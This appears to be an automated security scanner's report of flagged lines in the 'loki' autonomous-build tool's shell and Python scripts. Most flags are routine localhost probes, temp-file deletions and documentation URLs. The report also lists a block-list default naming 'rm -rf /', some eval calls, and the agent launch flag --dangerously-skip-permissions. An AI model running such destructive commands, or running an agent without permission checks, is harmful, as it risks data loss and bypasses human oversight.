echo "loki web (Purple Lab) is deprecated as of v7.44.0. For local build + monitoring, use the dashboard (auto-launches at 'loki start', http://localhost:${DASHBOARD_DEFAULT_PORT}; or 'loki dashboard'). For the hosted platform, see Autonomi - Network accessline 8976
if ! _deprecated_alias_should_suppress ${orig_args[@]+"${orig_args[@]}"}; then echo "Launching the dashboard (http://localhost:${DASHBOARD_DEFAULT_PORT}) instead of the deprecated Purple Lab." >&2 - Network accessline 8977
echo "Launching the dashboard (http://localhost:${DASHBOARD_DEFAULT_PORT}) instead of the deprecated Purple Lab." >&2 - Network accessline 9024
curl -s --max-time 3 -X POST "http://127.0.0.1:${port}/api/session/stop" >/dev/null 2>&1 || true - Dangerous shell operationline 9052
rm -f "$PURPLE_LAB_PID_FILE" - Dangerous shell operationline 9107
rm -f "$PURPLE_LAB_PID_FILE" "${LOKI_DIR}/purple-lab/port" 2>/dev/null || true - Dangerous shell operationline 9108
rm -f "$HOME/.loki/purple-lab/purple-lab.pid" "$HOME/.loki/purple-lab/port" 2>/dev/null || true - Access to secretsline 9115
[Credential-related source omitted] - Dangerous shell operationline 9129
rm -f "$pids_file" 2>/dev/null || true - Dangerous shell operationline 9165
rm -f "${LOKI_DIR}/dashboard/dashboard.pid" 2>/dev/null || true - Dangerous shell operationline 9166
rm -f "$HOME/.loki/dashboard/dashboard.pid" 2>/dev/null || true - Dangerous shell operationline 9167
rm -f "${PURPLE_LAB_STATE_DIR}/purple-lab.pid" "${PURPLE_LAB_STATE_DIR}/port" 2>/dev/null || true - Network accessline 9185
echo -e "${GREEN}Purple Lab is running${NC}" echo " PID: $pid" echo " URL: http://${PURPLE_LAB_DEFAULT_HOST}:${port}" - Network accessline 9186
echo " PID: $pid" echo " URL: http://${PURPLE_LAB_DEFAULT_HOST}:${port}" echo " Logs: $log_path" - Network accessline 9187
echo " URL: http://${PURPLE_LAB_DEFAULT_HOST}:${port}" - Dangerous shell operationline 9191
rm -f "$PURPLE_LAB_PID_FILE" - Network accessline 9242
local logfile="${1:-}" [ -f "$logfile" ] || return 0 grep -oE 'https://[a-z0-9-]+\.trycloudflare\.com' "$logfile" 2>/dev/null | head -1 || true - Network accessline 9243
[ -f "$logfile" ] || return 0 grep -oE 'https://[a-z0-9-]+\.trycloudflare\.com' "$logfile" 2>/dev/null | head -1 || true } - Network accessline 9244
grep -oE 'https://[a-z0-9-]+\.trycloudflare\.com' "$logfile" 2>/dev/null | head -1 || true - Network accessline 9264
tunnels = data.get("tunnels", []) if isinstance(data, dict) else [] urls = [t.get("public_url", "") for t in tunnels if isinstance(t, dict) and t.get("public_url")] https = [u for u in urls if u.startswith("https://")] - Network accessline 9265
urls = [t.get("public_url", "") for t in tunnels if isinstance(t, dict) and t.get("public_url")] https = [u for u in urls if u.startswith("https://")] chosen = https[0] if https else (urls[0] if urls else "") - Network accessline 9266
https = [u for u in urls if u.startswith("https://")] - Network accessline 9275
out=$(grep -oE '"public_url"[[:space:]]*:[[:space:]]*"https://[^"]*"' "$json_file" 2>/dev/null | head -1 | grep -oE 'https://[^"]*' || true) - Dangerous shell operationline 9295
rm -f "$logfile" 2>/dev/null || true - Network accessline 9333
if [ -z "$url" ]; then url="http://localhost:${port:-3000}" - Network accessline 9334
url="http://localhost:${port:-3000}" - Network accessline 9341
local port_ready=false while [ $retries -lt 6 ]; do if curl -s "http://localhost:${probe_port}" > /dev/null 2>&1; then - Network accessline 9342
while [ $retries -lt 6 ]; do if curl -s "http://localhost:${probe_port}" > /dev/null 2>&1; then port_ready=true - Network accessline 9343
if curl -s "http://localhost:${probe_port}" > /dev/null 2>&1; then - Network accessline 9423
echo " cloudflared (no account needed for quick tunnels):" >&2 echo " brew install cloudflared # macOS" >&2 echo " https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/d - Network accessline 9424
echo " brew install cloudflared # macOS" >&2 echo " https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/ # all platforms" >&2 echo "" >&2 - Network accessline 9425
echo " https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/ # all platforms" >&2 - Network accessline 9427
echo " ngrok (needs a free authtoken):" >&2 echo " brew install ngrok # macOS" >&2 echo " https://ngrok.com/download # all platforms" >&2 - Network accessline 9428
echo " brew install ngrok # macOS" >&2 echo " https://ngrok.com/download # all platforms" >&2 return 1 - Network accessline 9429
echo " https://ngrok.com/download # all platforms" >&2 - Network accessline 9440
local -a tunnel_cmd=() if [ "$chosen_provider" = "cloudflared" ]; then tunnel_cmd=(cloudflared tunnel --url "http://localhost:${probe_port}") - Network accessline 9441
if [ "$chosen_provider" = "cloudflared" ]; then tunnel_cmd=(cloudflared tunnel --url "http://localhost:${probe_port}") if [ "$no_host_rewrite" != true ]; then - Network accessline 9442
tunnel_cmd=(cloudflared tunnel --url "http://localhost:${probe_port}") - Network accessline 9454
echo "" echo "Starting ${chosen_provider} tunnel for http://localhost:${probe_port} ..." - Network accessline 9455
echo "Starting ${chosen_provider} tunnel for http://localhost:${probe_port} ..." - Network accessline 9488
else local api_json="${LOKI_DIR}/preview/ngrok-api.json" if curl -s "http://127.0.0.1:4040/api/tunnels" -o "$api_json" 2>/dev/null; then - Network accessline 9489
local api_json="${LOKI_DIR}/preview/ngrok-api.json" if curl -s "http://127.0.0.1:4040/api/tunnels" -o "$api_json" 2>/dev/null; then public_url=$(_extract_tunnel_url_ngrok "$api_json") - Network accessline 9490
if curl -s "http://127.0.0.1:4040/api/tunnels" -o "$api_json" 2>/dev/null; then - Dangerous shell operationline 9493
rm -f "$api_json" 2>/dev/null || true - Network accessline 9647
if [ -z "$url" ]; then url="http://localhost:${port:-3000}" - Network accessline 9648
url="http://localhost:${port:-3000}" - Network accessline 9755
case "$type" in nextjs) printf '%s\n' "Vercel|vercel|vercel --prod|https://vercel.com/docs/cli|vercel rollback" - Network accessline 9756
nextjs) printf '%s\n' "Vercel|vercel|vercel --prod|https://vercel.com/docs/cli|vercel rollback" printf '%s\n' "Netlify|netlify|netlify deploy --prod|https://docs.netlify.com/cli/get-started/|manual:Netlify documents - Network accessline 9757
printf '%s\n' "Vercel|vercel|vercel --prod|https://vercel.com/docs/cli|vercel rollback" - Network accessline 9758
printf '%s\n' "Netlify|netlify|netlify deploy --prod|https://docs.netlify.com/cli/get-started/|manual:Netlify documents no CLI rollback; restore the previous deploy from the Netlify dashboard" - Network accessline 9760
printf '%s\n' "Fly.io|flyctl|fly deploy|https://fly.io/docs/flyctl/install/|fly releases rollback <captured-version>" - Network accessline 9761
;; static) printf '%s\n' "Netlify|netlify|netlify deploy --prod --dir=<build-output>|https://docs.netlify.com/cli/get-started/|manual:Netlify documents no CLI rollback; restore the previous deploy from the Netlify dashbo - Network accessline 9762
static) printf '%s\n' "Netlify|netlify|netlify deploy --prod --dir=<build-output>|https://docs.netlify.com/cli/get-started/|manual:Netlify documents no CLI rollback; restore the previous deploy from the Netlify dashboard" - Network accessline 9763
printf '%s\n' "Netlify|netlify|netlify deploy --prod --dir=<build-output>|https://docs.netlify.com/cli/get-started/|manual:Netlify documents no CLI rollback; restore the previous deploy from the Netlify dashboard" - Network accessline 9764
printf '%s\n' "Cloudflare Pages|wrangler|wrangler pages deploy <build-output>|https://developers.cloudflare.com/workers/wrangler/install-and-update/|manual:Cloudflare rollback is not automated here; roll back from the dashboard or with the - Network accessline 9765
printf '%s\n' "Vercel|vercel|vercel --prod|https://vercel.com/docs/cli|vercel rollback" - Network accessline 9769
printf '%s\n' "Fly.io|flyctl|fly deploy|https://fly.io/docs/flyctl/install/|fly releases rollback <captured-version>" - Network accessline 9770
printf '%s\n' "Cloudflare|wrangler|wrangler deploy|https://developers.cloudflare.com/workers/wrangler/install-and-update/|manual:Cloudflare rollback is not automated here; roll back from the dashboard or with the provider CLI yourself" - Network accessline 9774
printf '%s\n' "Fly.io|flyctl|fly deploy|https://fly.io/docs/flyctl/install/|fly releases rollback <captured-version>" - Network accessline 9775
printf '%s\n' "Vercel|vercel|vercel --prod|https://vercel.com/docs/cli|vercel rollback" - Network accessline 9779
printf '%s\n' "Fly.io|flyctl|fly deploy|https://fly.io/docs/flyctl/install/|fly releases rollback <captured-version>" - Dangerous shell operationline 10043
rm -f "$jwks" - Access to secretsline 10084
[Credential-related source omitted] - Access to secretsline 10090
[Credential-related source omitted] - Access to secretsline 10137
[Credential-related source omitted] - Access to secretsline 10140
[Credential-related source omitted] - Access to secretsline 10240
[Credential-related source omitted] - Access to secretsline 10244
[Credential-related source omitted] - Access to secretsline 10245
[Credential-related source omitted] - Access to secretsline 10246
[Credential-related source omitted] - Access to secretsline 10247
[Credential-related source omitted] - Access to secretsline 10248
[Credential-related source omitted] - Access to secretsline 10249
[Credential-related source omitted] - Access to secretsline 10251
[Credential-related source omitted] - Access to secretsline 10252
[Credential-related source omitted] - Access to secretsline 10253
[Credential-related source omitted] - Access to secretsline 10254
[Credential-related source omitted] - Access to secretsline 10259
[Credential-related source omitted] - Access to secretsline 10260
[Credential-related source omitted] - Access to secretsline 10261
[Credential-related source omitted] - Access to secretsline 10262
[Credential-related source omitted] - Access to secretsline 10263
[Credential-related source omitted] - Access to secretsline 10264
[Credential-related source omitted] - Access to secretsline 10265
[Credential-related source omitted] - Access to secretsline 10266
[Credential-related source omitted] - Access to secretsline 10267
[Credential-related source omitted] - Access to secretsline 10268
[Credential-related source omitted] - Access to secretsline 10269
[Credential-related source omitted] - Access to secretsline 10270
[Credential-related source omitted] - Access to secretsline 10271
[Credential-related source omitted] - Access to secretsline 10272
[Credential-related source omitted] - Access to secretsline 10273
[Credential-related source omitted] - Access to secretsline 10274
[Credential-related source omitted] - Access to secretsline 10275
[Credential-related source omitted] - Access to secretsline 10276
[Credential-related source omitted] - Access to secretsline 10277
[Credential-related source omitted] - Access to secretsline 10278
[Credential-related source omitted] - Network accessline 10357
while [ "$i" -lt "$attempts" ]; do i=$((i + 1)) code="$(curl -s -o "$body" -w '%{http_code}' --max-time 10 "$url" 2>/dev/null)" || code="000" - Network accessline 10358
i=$((i + 1)) code="$(curl -s -o "$body" -w '%{http_code}' --max-time 10 "$url" 2>/dev/null)" || code="000" case "$code" in - Network accessline 10359
code="$(curl -s -o "$body" -w '%{http_code}' --max-time 10 "$url" 2>/dev/null)" || code="000" - Dangerous shell operationline 10363
[ "$body" = /dev/null ] || rm -f "$body" - Dangerous shell operationline 10370
[ "$body" = /dev/null ] || rm -f "$body" - Dangerous shell operationline 10401
rm -f "$dir/$r/.well-known/loki-provenance.json" 2>/dev/null || true - Dangerous shell operationline 10414
rm -f "$f" 2>/dev/null - Access to secretsline 10419
[Credential-related source omitted] - Access to secretsline 10420
[Credential-related source omitted] - Access to secretsline 10422
[Credential-related source omitted] - Dangerous shell operationline 10423
' 2>/dev/null || { rm -f "$f"; return 1; } - Dangerous shell operationline 10431
rm -f "$f" - Network accessline 10644
echo -e "${RED}TLS invalid for ${domain}: no usable certificate was served. DNS may not point at the provider yet.${NC}" >&2 [ -z "$hint" ] || echo " ${hint}." >&2 elif command -v curl >/dev/null 2>&1; then - Network accessline 10645
[ -z "$hint" ] || echo " ${hint}." >&2 elif command -v curl >/dev/null 2>&1; then body="$(curl -fsS --max-time 5 "https://${domain}/.well-known/loki-provenance.json" 2>/dev/null)" || body="" - Network accessline 10646
elif command -v curl >/dev/null 2>&1; then - Network accessline 10647
body="$(curl -fsS --max-time 5 "https://${domain}/.well-known/loki-provenance.json" 2>/dev/null)" || body="" - Dangerous shell operationline 10913
trap "rm -rf -- '${dep_dir}'; trap - INT TERM HUP; exit 130" INT TERM HUP - Dangerous shell operationline 10928
if [ -n "$dep_dir" ]; then rm -rf -- "$dep_dir"; trap - INT TERM HUP; fi - Dangerous shell operationline 10971
( cd "$dir" && eval "$rb_cmd" ) || rb_exit=$? - Network accessline 11267
echo " step, domain_status=manual). Then prove TLS with openssl s_client and" echo " 'openssl x509 -checkend 604800' and re-probe" echo " https://HOST/.well-kno - Network accessline 11268
echo " 'openssl x509 -checkend 604800' and re-probe" echo " https://HOST/.well-known/loki-provenance.json. The record stores domain," echo " domain_status, tls_ - Network accessline 11269
echo " https://HOST/.well-known/loki-provenance.json. The record stores domain," - Network accessline 11288
--health-url) case "${2:-}" in http://*|https://*) _LOKI_DEPLOY_HEALTH_URL="$2"; shift ;; - Network accessline 11289
case "${2:-}" in http://*|https://*) _LOKI_DEPLOY_HEALTH_URL="$2"; shift ;; *) echo "loki deploy --health-url requires an http(s) URL" >&2; return 1 ;; - Network accessline 11290
http://*|https://*) _LOKI_DEPLOY_HEALTH_URL="$2"; shift ;;
autonomy/mcp-launch.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 170
[Credential-related source omitted] - Network accessline 405
if ! base_py="$(_ml_python)"; then printf '%sNo python3 found on PATH.%s The MCP server needs Python 3.\n' "$_ML_RED" "$_ML_NC" >&2 printf 'Install Python 3 (https://www.python.org/downloads), then re-run: loki mcp\n' >&2 - Network accessline 406
printf '%sNo python3 found on PATH.%s The MCP server needs Python 3.\n' "$_ML_RED" "$_ML_NC" >&2 printf 'Install Python 3 (https://www.python.org/downloads), then re-run: loki mcp\n' >&2 return 2 - Network accessline 407
printf 'Install Python 3 (https://www.python.org/downloads), then re-run: loki mcp\n' >&2 - Dangerous shell operationline 492
printf 'Nothing is installed globally and no sudo is used. Proceed? [Y/n] '
autonomy/migration-agents.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/mirofish-adapter.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 40
CONTAINER_NAME = "loki-mirofish" DEFAULT_URL = "http://localhost:5001" - Network accessline 41
DEFAULT_URL = "http://localhost:5001" - Network accessline 126
req = urllib.request.Request(url, data=body, headers=headers, method=method) - Network accessline 128
try: with urllib.request.urlopen(req, timeout=self.timeout) as resp: - Network accessline 129
with urllib.request.urlopen(req, timeout=self.timeout) as resp: - Access to secretsline 1135
[Credential-related source omitted] - Access to secretsline 1138
[Credential-related source omitted] - Access to secretsline 1166
[Credential-related source omitted] - Access to secretsline 1167
[Credential-related source omitted] - Network accessline 1183
base_url = f"http://localhost:{port}" - Dangerous shell operationline 1198
docker stop loki-mirofish --time 10, then docker rm if needed. - Network accessline 1363
" python3 mirofish-adapter.py ./prd.md --output-dir .loki/\n" " python3 mirofish-adapter.py ./prd.md --validate\n" " python3 mirofish-adapter.py ./prd.md --json --url http://mf:5001\n" - Network accessline 1364
" python3 mirofish-adapter.py ./prd.md --validate\n" " python3 mirofish-adapter.py ./prd.md --json --url http://mf:5001\n" " python3 mirofish-adapter.py --status --output-dir .loki/\n" - Network accessline 1365
" python3 mirofish-adapter.py ./prd.md --json --url http://mf:5001\n" - Network accessline 1366
" python3 mirofish-adapter.py --status --output-dir .loki/\n" " python3 mirofish-adapter.py --health --url http://localhost:5001\n" " python3 mirofish-adapter.py --docker-start --docker-image mirofish/app\n" - Network accessline 1367
" python3 mirofish-adapter.py --health --url http://localhost:5001\n" - Access to secretsline 1438
[Credential-related source omitted]
autonomy/mobile-verify.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/notification-checker.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/notify.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 128
(curl -s --fail --connect-timeout 5 --max-time 10 -X POST \ - Network accessline 181
(curl -s --fail --connect-timeout 5 --max-time 10 -X POST \ - Network accessline 270
if [ -z "$LOKI_SLACK_WEBHOOK" ] && [ -z "$LOKI_DISCORD_WEBHOOK" ]; then echo "No webhook URLs configured. Set at least one of:" echo " export LOKI_SLACK_WEBHOOK='https://hooks.slack.com/...'" - Network accessline 271
echo "No webhook URLs configured. Set at least one of:" echo " export LOKI_SLACK_WEBHOOK='https://hooks.slack.com/...'" echo " export LOKI_DISCORD_WEBHOOK='https://discord.com/api/webhooks/...'" - Network accessline 272
echo " export LOKI_SLACK_WEBHOOK='https://hooks.slack.com/...'" - Network accessline 273
echo " export LOKI_DISCORD_WEBHOOK='https://discord.com/api/webhooks/...'"
autonomy/openspec-adapter.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/playwright-verify.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 237
rm -f "$script_file" - Dangerous shell operationline 314
rm -f "$results_file" "$results_file.tmp" 2>/dev/null || true - Dangerous shell operationline 739
rm -f "$script_file" - Access to secretsline 748
[Credential-related source omitted] - Dangerous shell operationline 778
find "$dir" -maxdepth 1 -name 'verify-*.png' 2>/dev/null | sort | head -n "$to_remove" | xargs rm -f 2>/dev/null || true - Dangerous shell operationline 780
| xargs rm -f 2>/dev/null || true - Access to secretsline 798
[Credential-related source omitted] - Access to secretsline 835
[Credential-related source omitted]
autonomy/prd-analyzer.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/prd-checklist.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 243
rm -rf -- "$work" - Dangerous shell operationline 254
eval "$_o" - Dangerous shell operationline 274
rm -rf -- "$work" - Access to secretsline 387
[Credential-related source omitted] - Access to secretsline 388
[Credential-related source omitted] - Access to secretsline 389
[Credential-related source omitted] - Access to secretsline 485
[Credential-related source omitted] - Access to secretsline 772
[Credential-related source omitted] - Access to secretsline 848
[Credential-related source omitted] - Dangerous shell operationline 850
rm -f "$status_file" 2>/dev/null || true - Access to secretsline 855
[Credential-related source omitted] - Access to secretsline 884
[Credential-related source omitted] - Access to secretsline 989
[Credential-related source omitted] - Access to secretsline 990
[Credential-related source omitted] - Access to secretsline 1100
[Credential-related source omitted] - Access to secretsline 1139
[Credential-related source omitted] - Access to secretsline 1280
[Credential-related source omitted] - Access to secretsline 1285
[Credential-related source omitted] - Access to secretsline 1300
[Credential-related source omitted] - Access to secretsline 1390
[Credential-related source omitted] - Access to secretsline 1428
[Credential-related source omitted] - Access to secretsline 1451
[Credential-related source omitted] - Access to secretsline 1454
[Credential-related source omitted] - Access to secretsline 1499
[Credential-related source omitted] - Access to secretsline 1506
[Credential-related source omitted] - Access to secretsline 1509
[Credential-related source omitted] - Access to secretsline 1537
[Credential-related source omitted] - Access to secretsline 1544
[Credential-related source omitted] - Access to secretsline 1546
[Credential-related source omitted]
autonomy/provider-offer.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 10
# Self-containment contract (load-bearing for parity): this file depends ONLY # on bash builtins + npm/claude on PATH. It defines its own colors and never # reads $RED/$NC or any other variable owned by autonomy/loki, because when - Network accessline 11
# on bash builtins + npm/claude on PATH. It defines its own colors and never # reads $RED/$NC or any other variable owned by autonomy/loki, because when # doctor.ts spawns it standalone those variables are unset. If this file ever - Network accessline 12
# reads $RED/$NC or any other variable owned by autonomy/loki, because when - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Network accessline 269
printf '%sInstall failed (npm exited %s). You can retry manually:%s\n' "$_PO_RED" "$code" "$_PO_NC" printf ' %s\n' "$_PO_INSTALL_CMD" printf 'If this is a permissions error, see https://docs.npmjs.com/resolving-eacces-permissions-e - Network accessline 270
printf ' %s\n' "$_PO_INSTALL_CMD" printf 'If this is a permissions error, see https://docs.npmjs.com/resolving-eacces-permissions-errors\n' return "$code" - Network accessline 271
printf 'If this is a permissions error, see https://docs.npmjs.com/resolving-eacces-permissions-errors\n' - Network accessline 327
printf 'cannot install one for you.\n' printf '\n' printf 'Install Node.js + npm first (https://nodejs.org), then run:\n' - Network accessline 328
printf '\n' printf 'Install Node.js + npm first (https://nodejs.org), then run:\n' printf ' %s\n' "$_PO_INSTALL_CMD" - Network accessline 329
printf 'Install Node.js + npm first (https://nodejs.org), then run:\n' - Access to secretsline 541
[Credential-related source omitted] - Access to secretsline 546
[Credential-related source omitted]
autonomy/queue-consumer.sh
autonomy/quickstart.sh
- Executable scriptline 1
#!/usr/bin/env bash - Possible obfuscationline 679
value=$(python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.b64decode(sys.argv[1], validate=True))' "$encoded" 2>/dev/null) || { - Instruction override signalline 816
if command -v timeout >/dev/null 2>&1; then to="timeout" elif command -v gtimeout >/dev/null 2>&1; then to="gtimeout"; fi _LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Instruction override signalline 818
_LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Possible obfuscationline 1172
preview_value=$(python3 -c 'import base64,sys; sys.stdout.buffer.write(base64.b64decode(sys.argv[1], validate=True))' "$preview_encoded" 2>/dev/null) || { - Dangerous shell operationline 1714
rm -f "$preview_stage" - Dangerous shell operationline 1720
rm -f "$preview_stage" - Dangerous shell operationline 1725
rm -f "$preview_stage" - Dangerous shell operationline 1729
rm -f "$preview_stage"
autonomy/receipt_jwt.py
- Executable scriptline 1
Executable file - Network accessline 6
and for a LOCAL build that is the whole story: the operator already has the keyring. It does not survive the remote path. A submitter who ran `loki start --remote https://loki.corp` never had local access to the cluster, - Network accessline 7
[Credential-related source omitted] - Access to secretsline 7
[Credential-related source omitted] - Network accessline 8
`loki start --remote https://loki.corp` never had local access to the cluster, - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Access to secretsline 135
[Credential-related source omitted] - Access to secretsline 211
[Credential-related source omitted]
autonomy/route.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 87
# Echoes the canonical https://github.com/owner/repo/pull/N for a github.com pull request URL - Network accessline 90
_route_pr_url() { local re='^[Hh][Tt][Tt][Pp][Ss]?://([Ww][Ww][Ww]\.)?[Gg][Ii][Tt][Hh][Uu][Bb]\.[Cc][Oo][Mm]/([A-Za-z0-9][A-Za-z0-9_.-]*/[A-Za-z0-9][A-Za-z0-9_.-]*)/pull/([0-9]+)([/?#].*)?$' if [[ "$1" =~ $re ]]; then printf 'https: - Network accessline 91
local re='^[Hh][Tt][Tt][Pp][Ss]?://([Ww][Ww][Ww]\.)?[Gg][Ii][Tt][Hh][Uu][Bb]\.[Cc][Oo][Mm]/([A-Za-z0-9][A-Za-z0-9_.-]*/[A-Za-z0-9][A-Za-z0-9_.-]*)/pull/([0-9]+)([/?#].*)?$' if [[ "$1" =~ $re ]]; then printf 'https://github.com/%s/pull/% - Network accessline 92
if [[ "$1" =~ $re ]]; then printf 'https://github.com/%s/pull/%s' "${BASH_REMATCH[2]}" "${BASH_REMATCH[3]}"; fi - Network accessline 117
if [ -n "$u" ]; then case "${u#https://github.com/}" in *..*) [ -n "$badref" ] || badref="$a" ;; esac; fi - Network accessline 140
if [ -n "$(_route_pr_url "$p")" ]; then echo pr; return 0; fi case "$p" in */*\#[0-9]*|http*://*/issues/*|http*://*/browse/*|jira:*|linear:*|https://linear.app/*/issue/*) echo issue; return 0 ;; - Network accessline 141
case "$p" in */*\#[0-9]*|http*://*/issues/*|http*://*/browse/*|jira:*|linear:*|https://linear.app/*/issue/*) echo issue; return 0 ;; esac - Network accessline 142
*/*\#[0-9]*|http*://*/issues/*|http*://*/browse/*|jira:*|linear:*|https://linear.app/*/issue/*) echo issue; return 0 ;;
autonomy/run.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 55
# LOKI_BLOCKED_COMMANDS - Comma-separated blocked shell commands (default: rm -rf /) - Network accessline 56
# # OIDC / SSO Authentication (optional, works alongside token auth): # LOKI_OIDC_ISSUER - OIDC issuer URL (e.g., https://accounts.google.com) - Network accessline 57
# OIDC / SSO Authentication (optional, works alongside token auth): # LOKI_OIDC_ISSUER - OIDC issuer URL (e.g., https://accounts.google.com) # LOKI_OIDC_CLIENT_ID - OIDC client/application ID - Network accessline 58
# LOKI_OIDC_ISSUER - OIDC issuer URL (e.g., https://accounts.google.com) - Dangerous shell operationline 225
trap 'rm -f "$TEMP_SCRIPT"' EXIT - Dangerous shell operationline 246
_qd="$(cd "$(dirname "$1")" && pwd -P)"; rm -f "$_qd/quick-receipt.txt" - Dangerous shell operationline 289
trap 'rm -f "${LOKI_TEMP_SCRIPT_PATH}" 2>/dev/null' EXIT - Access to secretsline 436
[Credential-related source omitted] - Dangerous shell operationline 496
eval "$(_LOKI_SETTINGS_FILE="$settings_file" python3 -c " - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 908
[Credential-related source omitted] - Access to secretsline 910
[Credential-related source omitted] - Dangerous shell operationline 1103
rm -f "$input_file" 2>/dev/null || true - Dangerous shell operationline 1107
rm -f "$input_file" 2>/dev/null || true - Dangerous shell operationline 1111
rm -f "$input_file" 2>/dev/null || true - Dangerous shell operationline 1132
rm -f "$snapshot_index" "$snapshot_index.lock" 2>/dev/null || true - Access to secretsline 1242
[Credential-related source omitted] - Access to secretsline 1246
[Credential-related source omitted] - Access to secretsline 1255
[Credential-related source omitted] - Access to secretsline 1256
[Credential-related source omitted] - Access to secretsline 1257
[Credential-related source omitted] - Access to secretsline 1281
[Credential-related source omitted] - Access to secretsline 1282
[Credential-related source omitted] - Access to secretsline 1286
[Credential-related source omitted] - Access to secretsline 1287
[Credential-related source omitted] - Access to secretsline 1715
[Credential-related source omitted] - Access to secretsline 1718
[Credential-related source omitted] - Access to secretsline 1724
[Credential-related source omitted] - Access to secretsline 1725
[Credential-related source omitted] - Access to secretsline 1726
[Credential-related source omitted] - Access to secretsline 1767
[Credential-related source omitted] - Access to secretsline 1770
[Credential-related source omitted] - Access to secretsline 1778
[Credential-related source omitted] - Dangerous shell operationline 1822
rm -f "$_shared_pidfile" 2>/dev/null || true - Instruction override signalline 1903
PROVIDER_NAME="claude" PROVIDER_CLI="claude" PROVIDER_AUTONOMOUS_FLAG="--dangerously-skip-permissions" - Instruction override signalline 1904
PROVIDER_CLI="claude" PROVIDER_AUTONOMOUS_FLAG="--dangerously-skip-permissions" PROVIDER_PROMPT_FLAG="-p" - Instruction override signalline 1905
PROVIDER_AUTONOMOUS_FLAG="--dangerously-skip-permissions" - Dangerous shell operationline 2041
git -C "$td" branch -d "$branch" >/dev/null 2>&1 && rm -f "$br_file" 2>/dev/null - Access to secretsline 2073
[Credential-related source omitted] - Access to secretsline 2074
[Credential-related source omitted] - Access to secretsline 2075
[Credential-related source omitted] - Access to secretsline 2078
[Credential-related source omitted] - Access to secretsline 2103
[Credential-related source omitted] - Access to secretsline 2104
[Credential-related source omitted] - Access to secretsline 2187
[Credential-related source omitted] - Dangerous shell operationline 2206
rm -f "$src" 2>/dev/null || true - Access to secretsline 2235
[Credential-related source omitted] - Access to secretsline 2269
[Credential-related source omitted] - Access to secretsline 2274
[Credential-related source omitted] - Access to secretsline 2275
[Credential-related source omitted] - Dangerous shell operationline 2466
rm -f "$PID_REGISTRY_DIR/${pid}.json" 2>/dev/null - Dangerous shell operationline 2643
rm -f "$entry_file" 2>/dev/null - Access to secretsline 2908
[Credential-related source omitted] - Access to secretsline 2917
[Credential-related source omitted] - Access to secretsline 2918
[Credential-related source omitted] - Access to secretsline 2919
[Credential-related source omitted] - Access to secretsline 2920
[Credential-related source omitted] - Dangerous shell operationline 3147
rm -f "$_reject_sig" "$_approve_sig" 2>/dev/null || true - Dangerous shell operationline 3155
rm -f "$_approve_sig" 2>/dev/null || true - Network accessline 3241
if [ -n "$major" ] && [[ "$major" =~ ^[0-9]+$ ]] && [ "$major" -lt 18 ]; then log_warn "Node.js >= 18 recommended for node-based builds; found ${node_version:-unknown}. Upgrade if your project uses node: https://nodejs.org" - Network accessline 3242
log_warn "Node.js >= 18 recommended for node-based builds; found ${node_version:-unknown}. Upgrade if your project uses node: https://nodejs.org" - Network accessline 3248
_loki_check_git_present() { if ! command -v git >/dev/null 2>&1; then log_error "Git is required (the build initializes a repo). Install: https://git-scm.com/downloads" - Network accessline 3249
if ! command -v git >/dev/null 2>&1; then log_error "Git is required (the build initializes a repo). Install: https://git-scm.com/downloads" return 1 - Network accessline 3250
log_error "Git is required (the build initializes a repo). Install: https://git-scm.com/downloads" - Access to secretsline 3261
[Credential-related source omitted] - Access to secretsline 3268
[Credential-related source omitted] - Access to secretsline 3269
[Credential-related source omitted] - Access to secretsline 3289
[Credential-related source omitted] - Access to secretsline 3314
[Credential-related source omitted] - Access to secretsline 3315
[Credential-related source omitted] - Access to secretsline 3316
[Credential-related source omitted] - Access to secretsline 3318
[Credential-related source omitted] - Access to secretsline 3340
[Credential-related source omitted] - Access to secretsline 3341
[Credential-related source omitted] - Access to secretsline 3343
[Credential-related source omitted] - Access to secretsline 3346
[Credential-related source omitted] - Access to secretsline 3351
[Credential-related source omitted] - Access to secretsline 3358
[Credential-related source omitted] - Access to secretsline 3360
[Credential-related source omitted] - Dangerous shell operationline 3389
rm -f "$probe" 2>/dev/null || true - Dangerous shell operationline 3393
rm -f "$probe" 2>/dev/null || true - Network accessline 3397
# _loki_check_network_reachable: ADVISORY only. A fast (3s) reachability probe to # the active provider endpoint that WARNS and continues if it cannot reach it -- a # curl failure does not prove the provider CLI cannot connect (3s timeout u - Network accessline 3398
# the active provider endpoint that WARNS and continues if it cannot reach it -- a # curl failure does not prove the provider CLI cannot connect (3s timeout under # load, transient DNS, or a proxy set for the CLI but not the shell all curl- - Network accessline 3399
# curl failure does not prove the provider CLI cannot connect (3s timeout under - Network accessline 3401
# while the real build succeeds). Always returns 0 (fail-open); the actual # provider call is the authoritative connectivity test. Skipped entirely when curl # is missing, when LOKI_SKIP_NET_PREFLIGHT=1, when ANTHROPIC_BASE_URL is set (alt - Network accessline 3402
# provider call is the authoritative connectivity test. Skipped entirely when curl # is missing, when LOKI_SKIP_NET_PREFLIGHT=1, when ANTHROPIC_BASE_URL is set (alt # provider endpoint we cannot assume), or for any provider whose endpoint w - Network accessline 3431
local provider="${1:-claude}" [ "${LOKI_SKIP_NET_PREFLIGHT:-}" = "1" ] && return 0 command -v curl >/dev/null 2>&1 || return 0 - Network accessline 3433
